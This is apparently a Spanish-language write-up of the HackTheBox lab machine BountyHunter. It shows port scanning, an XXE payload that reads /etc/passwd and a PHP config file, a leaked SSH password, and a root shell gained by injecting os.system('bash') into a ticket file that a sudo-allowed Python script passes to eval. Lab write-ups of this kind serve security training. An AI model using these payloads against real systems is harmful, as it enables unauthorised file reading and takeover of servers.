Post

HackTheBox - BountyHunter

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: XXE, Python Exploitation

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina BountyHunter

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p22,80 -sCV <IP> -oN versiones

c. Visitamos el sitio web en busca de más información. En la sección de Portal encontramos una sistema de reportes en fase beta

  • Al enviar un ‘reporte’ la información será reflejada en la página web

d. Analizamos como se tramita esta información con Burp Suite

  • La información se envía en base64 y luego se la urlencodea

    Información en formato xml enviada.

e. Probaremos un XXE con el fin de leer archivos del servidor

Definimos una entidad externa la cual nos permitirá leer el fichero /etc/passwd en base64 (Para evitar problemas de representación).

  • Referenciamos la entidad en el campo title (En este campo veremos la información solicitada)

    1
    2
    3
    4
    5
    6
    7
    8
    
      <?xml  version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
          <bugreport>
          <title>&xxe;</title>
          <cwe>test</cwe>
          <cvss>test</cvss>
          <reward>test</reward>
          </bugreport>
    
  • Decodeamos la información devuelta y podremos ver el fichero /etc/passwd

    1
    2
    3
    4
    
      > echo -n 'cm9vdDp4OjA[DATA BASE64]' | base64 -d | grep -E 'bash$'
    
      root:x:0:0:root:/root:/bin/bash
      development:x:1000:1000:Development:/home/development:/bin/bash
    

f. En este caso, no podremos leer la clave privada id_rsa del usuario development. Si nos fijamos, la página web admite php por lo que para buscar información útil lo que podemos hacer es fuzzear por este tipo de archivos

1
2
3
4
> wfuzz -c -t 100 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://<IP BountyHunter>/FUZZ.php

<SNIP>
000000834:   200        0 L      0 W        0 Ch        "db"
  • Vemos que existen un fichero db.php, pero, tiene 0 caracteres. Eso no significa que esté vacío, el código php es interpretado, por lo que no se lo ve, pero si lo llegamos a leer a través del XXE llegaremos a ver la información que este contiene.

  • Obtenemos una contraseña, la cual es válida para el usuario development en el servicio SSH

    1
    2
    
      sshpass -p 'm19RoAU0hP41A1sTsq6K' ssh development@<IP BountyHunter>
      development@bountyhunter:~$
    

Escalada de Privilegios 💹

a. Analizamos nuestros privilegios a nivel de sudoers.

1
2
3
4
development@bountyhunter:~$ sudo -l

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

  • Ejecución de comandos con eval: Code Injection

  • Archivo ticket.md

    1
    2
    3
    4
    
      # Skytrain Inc
      ## Ticket to /tmp
      __Ticket Code:__
      **39+__import__('os').system('whoami')
    

b. Con lo anterior en mente, podemos spawnear una shell como root

1
2
3
4
# Skytrain Inc
## Ticket to /tmp
__Ticket Code:__
**39+__import__('os').system('bash')
1
2
3
4
5
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
./ticket.md
Destination: /tmp
root@bountyhunter:/home/development#
This post is licensed under CC BY 4.0 by the author.